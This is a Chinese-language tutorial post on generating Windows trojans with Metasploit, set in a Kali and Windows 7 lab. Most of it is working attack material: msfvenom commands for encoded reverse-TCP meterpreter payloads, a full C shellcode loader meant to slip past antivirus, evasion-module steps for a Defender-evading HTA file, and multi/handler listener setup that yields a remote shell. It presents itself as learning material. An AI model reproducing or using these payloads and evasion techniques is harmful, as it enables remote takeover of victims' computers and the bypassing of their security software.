MSF生成木马及木马的简单使用
0x00 前言
- 本文将介绍有关MSF木马模块的简单使用方式,介绍常见的几种木马生成方式,如有不对的地方,欢迎大家在评论区指正。
- 由于本文仅对部分模块的简单使用进行说明,更多信息请参考官方网址MSFVENOM
- 环境配置说明
1. 使用kali虚拟机和Win7(可以低于此版本)虚拟机 2. kali虚拟机建议使用最新版本并将系统软件更新至最新版本 3. Win7虚拟机务必关闭网络防火墙,不建议使用Win7及以上版本系统,简单的木马会被直接删除 4. 查看两台虚拟机的IP地址,确保两台虚拟机之间可以ping通
0x01 直接生成 .exe 木马
- 在kali虚拟机中使用 msfvenom 命令,查看kali中是否安装msfvenom模块
- 查看kali虚拟机的IP地址,并使用kali虚拟的地址执行下述命令
- ifconfig 查看kali虚拟机的ip地址 当前虚拟机的ip地址为 192.168.25.131 - 执行下述命令生成名称为 2222.exe 的木马 - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.25.131 lport=3333 -f exe > 2222.exe - -p参数用于指定攻击的载荷方式 - -e参数用于指定编码的类型 - -i参数用于指定编码的次数 - lhost参数用于指定攻击机的ip地址 - lport参数用于指定攻击机的端口 - -f参数用于指定生成木马的文件类型,以及木马的名称
上述命令执行过后,木马将会默认生成在系统的根目录。该木马为被动连接型木马,即目标主机感染后将会主动连接至木马文件中提前设置好的ip地址和端口。该木马使用meterpreter模块来传输相关的指令。
- 可以将生成的木马拖动至宿主机,再由宿主机拖动至攻击机里。请注意,由于木马较为简单因此您的宿主机可能将木马删除,请在windows defender中将木马文件恢复,但是不建议您直接关闭宿主机的windows防火墙。木马的具体使用方法请参照后面章节的使用说明。
0x02 使用代码间接生成 .exe 木马
- 有的时候使用工具直接生成的木马很难通过杀毒软件的扫描,因此我们可以尝试自行编译代码,并且在代码中加入自己想实现的功能,本节仅介绍如何使用代码编译生成木马。
- 在kali虚拟机中执行如下代码 - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b 'x00' lhost=192.168.25.131 lport=3333 -f c - -b参数用于删除生成代码中的指定字符 - -f参数这里用于指定生成c语言代码 - 上述命令执行过后,将其中的代码部分复制到剪贴板,在后续步骤由于编译木马文件 - 具体执行界面如下图所示
- 使用vc++ 6.0对源码进行编译,在对源码编译之前将上一步打码替换至下方所示的代码块中
#include "stdafx.h" #include <stdio.h> #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"") unsigned char buf[] = "xb8x44xd5x8bxb0xdaxddxd9x74x24xf4x5bx33xc9" "xb1xb8x31x43x12x03x43x12x83xafx29x69x45x97" "x29x02xd2x1dx17x03xc3x95x8cx40xafx7cx04x19" "xe1x4fxd5x49x81x44x25x6exc6x6ex58xf0xefx45" "x94x69x11xc0xbex0cx65xcbx46x7dx25xa3x10x5a" "x77xc9x1fx1fx96x53x92xabx1dxc7xb5x8fx9dx8c" "xd5x7fx3bxddx7exd2x03x91x8cx5fx87x91xb9x3a" "xefxa7xf1x36xf8x88x62xb1x84x94x73xa6x10xd1" "x90xb4xd4xf0xcbx90x61xa7xa5x1dx27xc7x88xda" "x73x94x22x24x36x62x25x8cx47xe1x07x9bxa6xe6" "xcax88x46xcfx9bxf6x75xf2x44xa3x35xe0x43x24" "x2dx37x79x7ax71xa2x69xe1x6bx42xedxc9xbex08" "x62x5exf7x37x45x1ax16x1bxcax21xefxb9x59x75" "xf8x0fxc4x0cx24xedxe3xe7x97x76x17x16xd5xcf" "xc3x26x5ax2ax29x3axdcxacxebx33x64x55xacxa6" "x12x71xf2x7fxe3x2bx31xacx6exabx2bx6bx20x9d" "x8ax22xc7x4dx44xbfx6bx4cx8ex0fxcdx55x9fxa8" "xe5x9exfcxfax4bx36x87x49x03x32xd3x0axf9x3c" "x80xe7x1fx69xb4xb0x6fx46x5ax2dx66x4ax9dxde" "x28x1bxbdxe3xcexdexd1x64x2cxd6xedx48x4bx67" "x4fxf8x7axc7xf5x31x6cx8ex55x6ex8fx1dx68x27" "x43x6ax86x4dx48x64xe8x77xe7x55xbbx2axfexa6" "x8fx1cxb1xa8xd9x8ex6cxc4x80x04xe0x23x43x05" "x82x88x46x0bx48x19x0exd8x9dxd2x4ax8dx3bxf4" "xb1xf6xccxb4xedxcdx38x42xfax10xf5xa9x95x76" "x3bxd3xc3x96x0axbfx84x7bxdexbcx17xcaxe4x87" "x22x03x81x4bx17x38x11x72xf5x6dxb3x97xaax68" "x5dx44x1axb6x11x1axdexf5x44xbdx8bxd8x52x9a" "x2ex53x3dxa0x6ex7axccxfcxa8x70x6cx52xd4x9f" "xc8xd6x77xfcx65xbaxa0x26x20x73xc1xc4x8cx3b" "x70x4cx8bx4fxa1xd5x0fxcbx07x6exefxb5x59x60" "x5ex82xdaxbfx0bx8fx6ax81x8ax53x48xc8x54x9d" "xe5x6cxfdx41x76xf1xd1x83x3axf1xa9x66xc0x04" "xcfxbaxd0x18xa3x80x86x6ex9dx96xb1x27x07x85" "xfax12x6bx60xd0x79x87xabxd3x09x6ax78x15x53" "xa9x84xdexd9x63x4cx05x74x43x6cx44x04x58x2c" "x41x19xe0x26x77x80xcdxecx07xe3x14xa3xd5x63" "x89xf8xbfxddx67xc9x98x37x19x77xd2x1ex1dxf7" "x0ax90x44xccxadx68xa5xe0x69xc4x34x85x6fxc9" "x03xcex3fx06x05x7ax60xd5x9fxf3x55x98xadxf0" "xadx21x73x08xcex64x93xb0x49xc7x17x2bx97xfc" "x25x09x82x38x3cxf7x4exc9x8ex76xbex12xf7x52" "x44x29x19x3cx4dx9axacx6fx22x09x10x14x4bx25" "x50x37xd5x73x39x36xfdx15xadx62xd7x09x96x8b" "x67x5exfbx65xa1x9axe3x25x14x18xcaxfdx3cxb5" "xabx6ex81x70x80x44x66x9fxebx72xeaxd9x1exf6" "x44x1dx6ax24x45x9cx91x7bxaex6ax88x9dx32xa3" "xfbx18xe9xb9x7dx4bx49xfaxb3x1fx15x3fx99xc8" "x14xfexacxc2xdfx30x98x20x3ex15x44x45x0ex24" "xc8x14xd7xccxdax99xcdx73x01xd1xf9x39x86x8d" "x7dx29x63x16x87x31x0fxbex5cx0ex79x64x49x1b" "x6bx47x15x44xa9x01x32xcfxbcxdbxd8x93x6fx9e" "xc3x63xabx9axd8x6dx10xd6x79xc2xebx26x33x9f" "x05x84x52xd6x80x97xf6x23x5fx3cx03x43x04x7a" "x99x9cx89"; main() { ((void(*)(void)) & buf)(); }
- 运行vc++,选择右上角文件按钮–>新建–>win32 application–>自拟工程名称–>确定
工程创建成功后将之前构建好的木马代码粘贴至source files中的.cpp文件中,名称为我们自拟的工程名,如下图所示为1102.cpp
- 选择StdAfx.cpp文件选择上方组建按钮,点击编译按钮,编译成功后下方会显示零错误提示栏。
选择我们创建的1102.cpp文件,选择上方组建按钮,点击组建按钮,编译成功后下方提示栏会显示零错误提示。上述步骤执行结束以后木马文件就会成功生成,但是如果你是在win10系统中运行上述步骤生成的木马很大概率会被windows defender删除,建议将工作目录设置为排除文件夹。
0x03 使用msfconsole控制台中的evasion模块生成免杀病毒
- 该模块由官方提供,但在实际测试简单的规则依然会被杀毒软件,本节只讲解该模块生成木马的简单使用方式,更多信息请参照官方文档。
- 在kali控制台中输入msfconsole回车运行控制台,输入show evasion查看支持的木马类型。
- 我们这里选择使用evasion/windows/windows_defender_js_hta生成木马,输入命令 use evasion/windows/windows_defender_js_hta。接着输入options查看我们可以设置的参数。
- 接下来设置木马的相关参数,执行下述命令
- 设置payload - set payload windows/meterpreter/reverse_tcp - 设置攻击机IP地址 - set lhost 192.168.25.131 - 设置攻击机的端口 - set lport 3333 - 设置木马文件名称 - set filename hack.hta - 再次输入options查看我们设置的信息是否有误 - options
- 输入run指令生成木马,页面会返回木马生成的文件目录
0x04 木马的使用
- 在上述的三个小节中我们介绍了三种木马文件的生成方法,针对上述三种木马文件的使用方法是相同的,因此在最后一节统一进行说明,我们选择最后生成的hack.hta文件进行讲解。
- 木马文件的执行过程执行流程如下 1. 目标主机中被上传有木马文件 2. 攻击机开启监听端口,监听目标机可能发来的连接请求 3. 目标主机执行木马文件,与攻击机建立连接 4. 攻击机执行攻击命令
- 在kali虚拟机中执行命令,启动监听模块,并设置相关参数,具体命令如下
- 启动msfconsole控制台 - msfconsole - 启动监听模块 - use exploit/multi/handler - 设置payload - set payload windows/meterpreter/reverse_tcp - 设置攻击机IP地址 - set lhost 192.168.25.131 - 设置攻击机的端口 - set lport 3333 - 输入options查看我们设置的信息是否有误 - options - 输入run命令启动监听端口 - run
- 目标主机使用管理员模式运行木马文件,kali窗口中将会返回meterpreter操作窗口
- 输入getuid查看目标主机的计算机名称,输入?获取相关更多操作的详细说明
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
二维码